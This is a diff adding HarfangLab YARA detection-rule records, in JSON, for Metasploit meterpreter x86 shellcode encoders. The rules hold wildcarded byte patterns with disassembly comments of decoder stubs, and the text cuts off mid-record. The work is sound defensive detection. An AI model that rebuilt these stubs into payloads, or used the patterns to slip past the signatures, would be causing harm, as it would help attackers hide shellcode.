+  "rule_technique_tags": [
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-meterpreter_encoder_context_time_11814857ad66_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.578637Z",
+  "creation_date": "2026-03-23T11:46:25.578639Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.578644Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework/blob/master/modules/encoders/x86/context_time.rb"
+  ],
+  "name": "meterpreter_encoder_context_time_11814857ad66.yar",
+  "content": "rule meterpreter_encoder_context_time_11814857ad66 {\n    meta:\n        title = \"Meterpreter Context Time Encoder (11814857ad66)\"\n        id = \"1a0a2620-2da6-483d-abb5-11814857ad66\"\n        description = \"Detects the usage of the Metasploit meterpreter x86 with the time based context keyed payload encoder.\\nThis technique is commonly used to obfuscate shellcode to avoid signature-based detection mechanisms.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework/blob/master/modules/encoders/x86/context_time.rb\"\n        date = \"2023-11-02\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $encoder1 = {\n            31 DB                                         // xor     ebx, ebx\n            8D 43 0D                                      // lea     eax, [ebx+0Dh]\n            CD 80                                         // int     80h\n            66 31 C0                                      // xor     ax, ax\n\n            // Shikata block\n            (\n                D9 (E1 | E5 | E8 | E9 | EA | EB | EC | ED | EE | C? | F6 | F7 | D0) |\n                DA (C? | D?) |\n                DB (C? | D?) |\n                DD (C0 | C1 | C2 | C3 | C4 | C5 | C6 | C7)\n            )\n            D9 74 24 F4\n            (58 | 59 | 5A | 5B | 5C | 5D | 5E | 5F)\n            (31 | 29 | 33 | 2B) C9\n            B1 ??                                         // mov     cl, 31h\n            [9]\n            E2 F5                                         // loop    loc_15\n        }\n\n        $encoder2 = {\n            31 DB                                         // xor     ebx, ebx\n            8D 43 0D                                      // lea     eax, [ebx+0Dh]\n            CD 80                                         // int     80h\n            66 31 C0                                      // xor     ax, ax\n\n            // Shikata block\n            (\n                D9 (E1 | E5 | E8 | E9 | EA | EB | EC | ED | EE | C? | F6 | F7 | D0) |\n                DA (C? | D?) |\n                DB (C? | D?) |\n                DD (C0 | C1 | C2 | C3 | C4 | C5 | C6 | C7)\n            )\n            D9 74 24 F4\n            (31 | 29 | 33 | 2B) C9\n            B1 ??                                         // mov     cl, 31h\n            (58 | 59 | 5A | 5B | 5C | 5D | 5E | 5F)\n            [9]\n            E2 F5                                         // loop    loc_15\n        }\n\n        $encoder3 = {\n            31 DB                                         // xor     ebx, ebx\n            8D 43 0D                                      // lea     eax, [ebx+0Dh]\n            CD 80                                         // int     80h\n            66 31 C0                                      // xor     ax, ax\n\n            // Shikata block\n            (\n                D9 (E1 | E5 | E8 | E9 | EA | EB | EC | ED | EE | C? | F6 | F7 | D0) |\n                DA (C? | D?) |\n                DB (C? | D?) |\n                DD (C0 | C1 | C2 | C3 | C4 | C5 | C6 | C7)\n            )\n            D9 74 24 F4\n            (31 | 29 | 33 | 2B) C9\n            (58 | 59 | 5A | 5B | 5C | 5D | 5E | 5F)\n            B1 ??                                         // mov     cl, 31h\n            [9]\n            E2 F5                                         // loop    loc_15\n        }\n\n        $encoder4 = {\n            31 DB                                         // xor     ebx, ebx\n            8D 43 0D                                      // lea     eax, [ebx+0Dh]\n            CD 80                                         // int     80h\n            66 31 C0                                      // xor     ax, ax\n\n            // Shikata block\n            (\n                D9 (E1 | E5 | E8 | E9 | EA | EB | EC | ED | EE | C? | F6 | F7 | D0) |\n                DA (C? | D?) |\n                DB (C? | D?) |\n                DD (C0 | C1 | C2 | C3 | C4 | C5 | C6 | C7)\n            )\n            (31 | 29 | 33 | 2B) C9\n            B1 ??                                         // mov     cl, 31h\n            D9 74 24 F4\n            (58 | 59 | 5A | 5B | 5C | 5D | 5E | 5F)\n            [9]\n            E2 F5                                         // loop    loc_15\n        }\n\n        $encoder5 = {\n            31 DB                                         // xor     ebx, ebx\n            8D 43 0D                                      // lea     eax, [ebx+0Dh]\n            CD 80                                         // int     80h\n            66 31 C0                                      // xor     ax, ax\n\n            // Shikata block\n            (\n                D9 (E1 | E5 | E8 | E9 | EA | EB | EC | ED | EE | C? | F6 | F7 | D0) |\n                DA (C? | D?) |\n                DB (C? | D?) |\n                DD (C0 | C1 | C2 | C3 | C4 | C5 | C6 | C7)\n            )\n            (31 | 29 | 33 | 2B) C9\n            D9 74 24 F4\n            B1 ??                                         // mov     cl, 31h\n            (58 | 59 | 5A | 5B | 5C | 5D | 5E | 5F)\n            [9]\n            E2 F5                                         // loop    loc_15\n        }\n\n        $encoder6 = {\n            31 DB                                         // xor     ebx, ebx\n            8D 43 0D                                      // lea     eax, [ebx+0Dh]\n            CD 80                                         // int     80h\n            66 31 C0                                      // xor     ax, ax\n\n            // Shikata block\n            (\n                D9 (E1 | E5 | E8 | E9 | EA | EB | EC | ED | EE | C? | F6 | F7 | D0) |\n                DA (C? | D?) |\n                DB (C? | D?) |\n                DD (C0 | C1 | C2 | C3 | C4 | C5 | C6 | C7)\n            )\n            (31 | 29 | 33 | 2B) C9\n            D9 74 24 F4\n            (58 | 59 | 5A | 5B | 5C | 5D | 5E | 5F)\n            B1 ??                                         // mov     cl, 31h\n            [9]\n            E2 F5                                         // loop    loc_15\n        }\n\n        $encoder7 = {\n            31 DB                                         // xor     ebx, ebx\n            8D 43 0D                                      // lea     eax, [ebx+0Dh]\n            CD 80                                         // int     80h\n            66 31 C0                                      // xor     ax, ax\n\n            // Shikata block\n            (31 | 29 | 33 | 2B) C9\n            (\n                D9 (E1 | E5 | E8 | E9 | EA | EB | EC | ED | EE | C? | F6 | F7 | D0) |\n                DA (C? | D?) |\n                DB (C? | D?) |\n                DD (C0 | C1 | C2 | C3 | C4 | C5 | C6 | C7)\n            )\n            D9 74 24 F4\n            (58 | 59 | 5A | 5B | 5C | 5D | 5E | 5F)\n            B1 ??                                         // mov     cl, 31h\n            [9]\n            E2 F5                                         // loop    loc_15\n        }\n\n        $encoder8 = {\n            31 DB                                         // xor     ebx, ebx\n            8D 43 0D                                      // lea     eax, [ebx+0Dh]\n            CD 80                                         // int     80h\n            66 31 C0                                      // xor     ax, ax\n\n            // Shikata block\n            (31 | 29 | 33 | 2B) C9\n            B1 ??                                         // mov     cl, 31h\n            (\n                D9 (E1 | E5 | E8 | E9 | EA | EB | EC | ED | EE | C? | F6 | F7 | D0) |\n                DA (C? | D?) |\n                DB (C? | D?) |\n                DD (C0 | C1 | C2 | C3 | C4 | C5 | C6 | C7)\n            )\n            D9 74 24 F4\n            (58 | 59 | 5A | 5B | 5C | 5D | 5E | 5F)\n            [9]\n            E2 F5                                         // loop    loc_15\n        }\n\n        $encoder9 = {\n            31 DB                                         // xor     ebx, ebx\n            8D 43 0D                                      // lea     eax, [ebx+0Dh]\n            CD 80                                         // int     80h\n            66 31 C0                                      // xor     ax, ax\n\n            // Shikata block\n            (31 | 29 | 33 | 2B) C9\n            (\n                D9 (E1 | E5 | E8 | E9 | EA | EB | EC | ED | EE | C? | F6 | F7 | D0) |\n                DA (C? | D?) |\n                DB (C? | D?) |\n                DD (C0 | C1 | C2 | C3 | C4 | C5 | C6 | C7)\n            )\n            B1 ??                                         // mov     cl, 31h\n            D9 74 24 F4\n            (58 | 59 | 5A | 5B | 5C | 5D | 5E | 5F)\n            [9]\n            E2 F5                                         // loop    loc_15\n        }\n\n        $encoder10 = {\n            31 DB                                         // xor     ebx, ebx\n            8D 43 0D                                      // lea     eax, [ebx+0Dh]\n            CD 80                                         // int     80h\n            66 31 C0                                      // xor     ax, ax\n\n            // Shikata block\n            (31 | 29 | 33 | 2B) C9\n            (\n                D9 (E1 | E5 | E8 | E9 | EA | EB | EC | ED | EE | C? | F6 | F7 | D0) |\n                DA (C? | D?) |\n                DB (C? | D?) |\n                DD (C0 | C1 | C2 | C3 | C4 | C5 | C6 | C7)\n            )\n            D9 74 24 F4\n            B1 ??                                         // mov     cl, 31h\n            (58 | 59 | 5A | 5B | 5C | 5D | 5E | 5F)\n            [9]\n            E2 F5                                         // loop    loc_15\n        }\n\n        condition:\n            1 of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "meterpreter_encoder_context_time_11814857ad66"
+  ],
+  "rule_creation_date": "2023-11-02",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-meterpreter_encoder_countdown_33338431bbd6_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.584594Z",
+  "creation_date": "2026-03-23T11:46:25.584596Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.584601Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework/blob/master/modules/encoders/x86/countdown.rb"
+  ],
+  "name": "meterpreter_encoder_countdown_33338431bbd6.yar",
+  "content": "rule meterpreter_encoder_countdown_33338431bbd6 {\n    meta:\n        title = \"Meterpreter Countdown Encoder (33338431bbd6)\"\n        id = \"a6304511-c097-437e-99ef-33338431bbd6\"\n        description = \"Detects the usage of the Metasploit meterpreter x86 with the single-byte xor countdown encoder.\\nThis technique is commonly used to obfuscate shellcode to avoid signature-based detection mechanisms.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework/blob/master/modules/encoders/x86/countdown.rb\"\n        date = \"2023-11-02\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $encoder = {\n            E8 FF FF FF                                   // call    $+4\n            FF C1                                         // inc     ecx\n            5E                                            // pop     esi\n            30 4C 0E 07                                   // xor     [esi+ecx+7], cl\n            E2 FA                                         // loop    loc_B\n            FD                                            // std\n            EA ?? 04 05 06 67 ??                          // jmp     far ptr 8167h:6050481h\n            [3]\n            68 86 ?? 3F 9B                                // push    9B3F5C86h\n            43                                            // inc     ebx\n            1E                                            // push    ds\n            98                                            // cwde\n            46                                            // inc     esi\n        }\n\n        condition:\n            all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "meterpreter_encoder_countdown_33338431bbd6"
+  ],
+  "rule_creation_date": "2023-11-02",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-meterpreter_encoder_fnstenv_mov_0331f07ef8fc_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.566833Z",
+  "creation_date": "2026-03-23T11:46:25.566835Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.566841Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework/blob/master/modules/encoders/x86/fnstenv_mov.rb"
+  ],
+  "name": "meterpreter_encoder_fnstenv_mov_0331f07ef8fc.yar",
+  "content": "rule meterpreter_encoder_fnstenv_mov_0331f07ef8fc {\n    meta:\n        title = \"Meterpreter Fnstenv/Mov Encoder (0331f07ef8fc)\"\n        id = \"95af0370-3b21-4ced-a861-0331f07ef8fc\"\n        description = \"Detects the usage of the Metasploit meterpreter x86 with the variable-length mov equivalent instruction encoder.\\nThis technique is commonly used to obfuscate shellcode to avoid signature-based detection mechanisms.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework/blob/master/modules/encoders/x86/fnstenv_mov.rb\"\n        date = \"2023-11-02\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $encoder1 = {\n            FC                                            // cld\n            E8 ?? ?? 00 00                                // call    loc_95\n            60                                            // pusha\n            [10-12]\n            (\n                89 E5       |                             // mov     ebp, esp\n                31 ??       |                             // xor     edx, edx\n                64 8B ?? 30 |                             // mov     edx, fs:[edx+30h]\n                8B 52 0C    |                             // mov     edx, [edx+0Ch]\n                8B 52 14                                  // mov     edx, [edx+14h]\n            )\n\n                                        // loc_15:\n            [5-7]\n            (\n                0F B7 4A 26 |                             // movzx   ecx, word ptr [edx+26h]\n                8B 72 28    |                             // mov     esi, [edx+28h]\n                31 FF                                     // xor     edi, edi\n            )\n\n                                        // loc_1E:\n            (\n                31 C0                                     // xor     eax, eax\n                AC                                        // lodsb\n                |\n                AC                                        // lodsb\n            )\n            3C ??                                         // cmp     al, 61h ; 'a'\n            7C 02                                         // jl      short loc_27\n            2C 20                                         // sub     al, 20h ; ' '\n\n                                        // loc_27:\n            C1 CF 0D                                      // ror     edi, 0Dh\n            01 C7                                         // add     edi, eax\n        }\n\n        $encoder2 = {\n            01 C7                                         // add     edi, eax\n            38 E0                                         // cmp     al, ah\n            75 ??                                         // jnz     short loc_57\n            03 7D F8                                      // add     edi, [ebp-8]\n            3B 7D 24                                      // cmp     edi, [ebp+24h]\n            75 ??                                         // jnz     short loc_4B\n            58                                            // pop     eax\n            8B 58 24                                      // mov     ebx, [eax+24h]\n            01 D3                                         // add     ebx, edx\n            66 8B 0C 4B                                   // mov     cx, [ebx+ecx*2]\n            8B 58 1C                                      // mov     ebx, [eax+1Ch]\n            01 D3                                         // add     ebx, edx\n            8B 04 8B                                      // mov     eax, [ebx+ecx*4]\n            01 D0                                         // add     eax, edx\n            89 44 24 24                                   // mov     [esp+24h], eax\n            5B                                            // pop     ebx\n            5B                                            // pop     ebx\n            61                                            // popa\n            59                                            // pop     ecx\n            5A                                            // pop     edx\n            51                                            // push    ecx\n            FF E0                                         // jmp     eax\n        }\n\n        condition:\n            all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "meterpreter_encoder_fnstenv_mov_0331f07ef8fc"
+  ],
+  "rule_creation_date": "2023-11-02",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-meterpreter_encoder_jmp_call_additive_4f491c649d47_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.578814Z",
+  "creation_date": "2026-03-23T11:46:25.578816Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.578822Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework/blob/master/modules/encoders/x86/jmp_call_additive.rb"
+  ],
+  "name": "meterpreter_encoder_jmp_call_additive_4f491c649d47.yar",
+  "content": "rule meterpreter_encoder_jmp_call_additive_4f491c649d47 {\n    meta:\n        title = \"Meterpreter Jump/Call Additive Encoder (4f491c649d47)\"\n        id = \"fb98ece3-b4ec-4d18-83c5-4f491c649d47\"\n        description = \"Detects the usage of the Metasploit meterpreter x86 with the Jump/Call Additive encoder.\\nThis technique is commonly used to obfuscate shellcode to avoid signature-based detection mechanisms.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework/blob/master/modules/encoders/x86/jmp_call_additive.rb\"\n        date = \"2023-11-02\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $encoder = {\n            FC                                            // cld\n            BB ?? ?? ?? ??                                // mov     ebx, 2BAED514h\n            EB 0C                                         // jmp     short loc_14\n\n                                        // sub_8\n            5E                                            // pop     esi\n            56                                            // push    esi\n\n                                        // loc_A:\n            31 1E                                         // xor     [esi], ebx\n            AD                                            // lodsd\n            01 C3                                         // add     ebx, eax\n            85 C0                                         // test    eax, eax\n            75 F7                                         // jnz     short loc_A\n            C3                                            // retn\n\n                                        // loc_14:\n            E8 EF FF FF FF                                // call    sub_8\n        }\n\n        condition:\n            all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "meterpreter_encoder_jmp_call_additive_4f491c649d47"
+  ],
+  "rule_creation_date": "2023-11-02",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-meterpreter_encoder_opt_sub_c2e4419d718b_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.566913Z",
+  "creation_date": "2026-03-23T11:46:25.566915Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.566921Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework/blob/master/modules/encoders/x86/opt_sub.rb"
+  ],
+  "name": "meterpreter_encoder_opt_sub_c2e4419d718b.yar",
+  "content": "rule meterpreter_encoder_opt_sub_c2e4419d718b {\n    meta:\n        title = \"Meterpreter Sub Encoder (c2e4419d718b)\"\n        id = \"a93eb202-9a59-469f-b6c6-c2e4419d718b\"\n        description = \"Detects the usage of the Metasploit meterpreter x86 with the Sub encoder.\\nThis technique is commonly used to obfuscate shellcode to avoid signature-based detection mechanisms.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework/blob/master/modules/encoders/x86/opt_sub.rb\"\n        date = \"2023-11-02\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $encoder = {\n            54                                            // push    esp\n            58                                            // pop     eax\n            2D ?? ?? ?? ??                                // sub     eax, 0FFFFFC0Fh\n            2D 00 00 00 00                                // sub     eax, 0\n            2D 00 00 00 00                                // sub     eax, 0\n            50                                            // push    eax\n            5C                                            // pop     esp\n            25 00 00 00 00                                // and     eax, 0\n            25 00 00 00 00                                // and     eax, 0\n            2D ?? ?? ?? ??                                // sub     eax, 0FF9A879Bh\n            2D 00 00 00 00                                // sub     eax, 0\n            2D 00 00 00 00                                // sub     eax, 0\n            50                                            // push    eax\n            2D ?? ?? ?? ??                                // sub     eax, 0D2020C04h\n            2D 00 00 00 00                                // sub     eax, 0\n            2D 00 00 00 00                                // sub     eax, 0\n            50                                            // push    eax\n            2D ?? ?? ?? ??                                // sub     eax, 0CA8D6D0Eh\n            2D 00 00 00 00                                // sub     eax, 0\n            2D 00 00 00 00                                // sub     eax, 0\n            50                                            // push    eax\n            2D ?? ?? ?? ??                                // sub     eax, 636B8FE1h\n            2D 00 00 00 00                                // sub     eax, 0\n            2D 00 00 00 00                                // sub     eax, 0\n            50                                            // push    eax\n            2D ?? ?? ?? ??                                // sub     eax, 0ED22B46Dh\n            2D 00 00 00 00                                // sub     eax, 0\n            2D 00 00 00 00                                // sub     eax, 0\n            50                                            // push    eax\n            2D ?? ?? ?? ??                                // sub     eax, 9D66BF85h\n            2D 00 00 00 00                                // sub     eax, 0\n            2D 00 00 00 00                                // sub     eax, 0\n            50                                            // push    eax\n            2D ?? ?? ?? ??                                // sub     eax, 6B64F544h\n            2D 00 00 00 00                                // sub     eax, 0\n            2D 00 00 00 00                                // sub     eax, 0\n            50                                            // push    eax\n            2D ?? ?? ?? ??                                // sub     eax, 347C687Fh\n            2D 00 00 00 00                                // sub     eax, 0\n            2D 00 00 00 00                                // sub     eax, 0\n            50                                            // push    eax\n            2D ?? ?? ?? ??                                // sub     eax, 40593567h\n            2D 00 00 00 00                                // sub     eax, 0\n            2D 00 00 00 00                                // sub     eax, 0\n        }\n\n        condition:\n            all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "meterpreter_encoder_opt_sub_c2e4419d718b"
+  ],
+  "rule_creation_date": "2023-11-02",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-meterpreter_encoder_single_static_84c990986117_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.578489Z",
+  "creation_date": "2026-03-23T11:46:25.578491Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.578496Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework/blob/master/modules/encoders/x86/single_static_bit.rb"
+  ],
+  "name": "meterpreter_encoder_single_static_84c990986117.yar",
+  "content": "rule meterpreter_encoder_single_static_84c990986117 {\n    meta:\n        title = \"Meterpreter Single Static Encoder (84c990986117)\"\n        id = \"f0f2c453-83a1-4ea6-93ea-84c990986117\"\n        description = \"Detects the usage of the Metasploit meterpreter x86 with the Single Static encoder.\\nThis technique is commonly used to obfuscate shellcode to avoid signature-based detection mechanisms.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework/blob/master/modules/encoders/x86/single_static_bit.rb\"\n        date = \"2023-11-02\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = 